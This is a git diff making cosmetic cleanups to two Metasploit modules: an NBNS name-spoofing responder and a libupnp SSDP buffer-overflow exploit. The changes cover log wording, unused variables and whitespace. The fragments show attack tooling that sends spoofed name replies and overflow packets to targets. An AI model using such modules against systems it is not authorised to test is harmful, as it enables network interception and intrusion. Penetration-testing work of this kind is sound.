diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index b81172aa32..d58dc46208 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -69,9 +69,8 @@ class Metasploit3 < Msf::Auxiliary while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. packet, addr = @sock.recvfrom(512) - vprint_status("Packet Received from #{addr[3]}") - rhost = addr[3] + break if packet.length == 0 nbnsq_transid = packet[0..1] @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) - vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...") + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") if datastore['DEBUG'] print_status("transid: #{nbnsq_transid.unpack('H4')}") @@ -139,7 +138,7 @@ class Metasploit3 < Msf::Auxiliary close_pcap else - vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex") + vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") end end diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 0eda9c2bd7..ba4d383c88 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") - r = udp_sock.sendto(pkt, rhost, rport, 0) + udp_sock.sendto(pkt, rhost, rport, 0) 1.upto(5) do ::IO.select(nil, nil, nil, 1) @@ -311,7 +311,7 @@ class Metasploit3 < Msf::Exploit::Remote 00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp 00033000-00055000 rwxp 00000000 00:00 0 [heap] 40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so - 4001d000-4001f000 rwxp 00000000 00:00 0 + 4001d000-4001f000 rwxp 00000000 00:00 0 40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so 40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so 40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so @@ -321,24 +321,24 @@ class Metasploit3 < Msf::Exploit::Remote 4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so 40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so 40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so - 40053000-40055000 rwxp 00000000 00:00 0 + 40053000-40055000 rwxp 00000000 00:00 0 40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so 4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so 40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so 40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so - 40176000-40179000 rwxp 00000000 00:00 0 - 40179000-4017a000 ---p 00000000 00:00 0 - 4017a000-40979000 rwxp 00000000 00:00 0 - 40979000-4097a000 ---p 00000000 00:00 0 - 4097a000-41179000 rwxp 00000000 00:00 0 - 41179000-4117a000 ---p 00000000 00:00 0 - 4117a000-41979000 rwxp 00000000 00:00 0 - 41979000-4197a000 ---p 00000000 00:00 0 - 4197a000-42179000 rwxp 00000000 00:00 0 - 42179000-4217a000 ---p 00000000 00:00 0 - 4217a000-42979000 rwxp 00000000 00:00 0 - 42979000-4297a000 ---p 00000000 00:00 0 - 4297a000-43179000 rwxp 00000000 00:00 0 + 40176000-40179000 rwxp 00000000 00:00 0 + 40179000-4017a000 ---p 00000000 00:00 0 + 4017a000-40979000 rwxp 00000000 00:00 0 + 40979000-4097a000 ---p 00000000 00:00 0 + 4097a000-41179000 rwxp 00000000 00:00 0 + 41179000-4117a000 ---p 00000000 00:00 0 + 4117a000-41979000 rwxp 00000000 00:00 0 + 41979000-4197a000 ---p 00000000 00:00 0 + 4197a000-42179000 rwxp 00000000 00:00 0 + 42179000-4217a000 ---p 00000000 00:00 0 + 4217a000-42979000 rwxp 00000000 00:00 0 + 42979000-4297a000 ---p 00000000 00:00 0 + 4297a000-43179000 rwxp 00000000 00:00 0 bef4d000-bef62000 rw-p 00000000 00:00 0 [stack] =end @@ -346,7 +346,7 @@ class Metasploit3 < Msf::Exploit::Remote # Generate a buffer that provides a starting point for exploit development def target_debug - buffer = Rex::Text.pattern_create(2000) + Rex::Text.pattern_create(2000) end def stage_real_payload(cli) @@ -417,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote res = nil 1.upto(5) do - res,addr,info = udp_sock.recvfrom(65535, 1.0) + res,_,_ = udp_sock.recvfrom(65535, 1.0) break if res and res =~ /^(Server|Location)/mi udp_sock.sendto(msearch, rhost, rport, 0) end